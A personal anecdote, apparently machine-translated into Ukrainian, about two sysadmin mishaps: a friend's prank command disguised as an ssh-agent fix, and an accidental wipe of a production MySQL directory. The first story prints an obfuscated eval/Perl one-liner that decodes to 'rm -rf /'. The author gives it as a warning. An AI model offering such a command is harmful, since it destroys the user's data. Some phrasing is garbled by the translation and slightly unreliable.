Багато років тому я вдома кодував деякі речі в php, працюючи над проектом з моїм приятелем, який був підтримувачем проекту. Ми спілкувалися один з одним у співпраці. Ми завжди пограємо вперед і назад в грі.
Я намагався змусити ssh-агента працювати належним чином на моїй машині, поки ми вели релігійну війну Perl vs PHP. Тоді я згадав щось про ssh-агента, який потребує оцінки (не впевнений, чому я це сказав). Тоді він надіслав мені це повідомлення зусиллям, і я подумав, щоб допомогти мені у вирішенні моєї проблеми (майте на увазі, що мене вимагають викорінити):
\# eval $(echo ssh-agent |
perl -pe 's/h-a/m -r/' |
perl -pe 's/^ss/r/' |
perl -pe 's/gent/f \//')
УВАГА! НЕ БУДУТЬ ТАКУ КОМАНДУ !!!
Якщо ви видалите eval і запустите внутрішню команду, це:
rm -rf /
Мені знадобилось усі 4 секунди, щоб помітити, що відбувається, але шкода вже була зроблена. Мені довелося перевстановити ОС. На щастя, нічого з моєї роботи не було викреслено, крім деяких речей у / etc iirc. Він посміявся величезним сміхом, коли я надіслав йому повідомлення про жах, запитуючи, чому він це зробив. Ми обидві інженери систем довгострокової роботи. Він не думав, що я запускаю його, і було б ретельніше перевірити це, перш ніж просто с & p'ing, і я просто довіряв йому, так що я навіть не вважав, що він грає. Потрібно говорити, що ця маленька історія постійно виникає між нами. Отже, я вирішив його увічнити.
Як я пом’якшив це, щоб це не повторилося? Я нікому не довіряю!
Ще одна менш цікава історія - це пару років тому, коли я працював над критичною скринькою місії на роботі. У мене було кілька термінів, відкритих для різних машин. Мені потрібно було видалити зайві речі з каталогу. Що ж, я заблукав у своїх термінах і випадково потрапив додому . в моєму місцевому режисері, але на неправильному господарі (неправильний термін) !!. Я виконав команду в / var / lib / mysql замість / tmp на сервері додатків (різний термін). Потрібно сказати, що я витер базу даних виробництва. На щастя, у нас був теплий режим очікування, до якого ми перекинулися, поки я та колега відновлювали основну частину з резервного копіювання та очікування. На це пішло близько 18 годин.
Пом'якшення: ретельніше ставитися до того, в яких вікнах я виконую команди, перш ніж виконувати їх.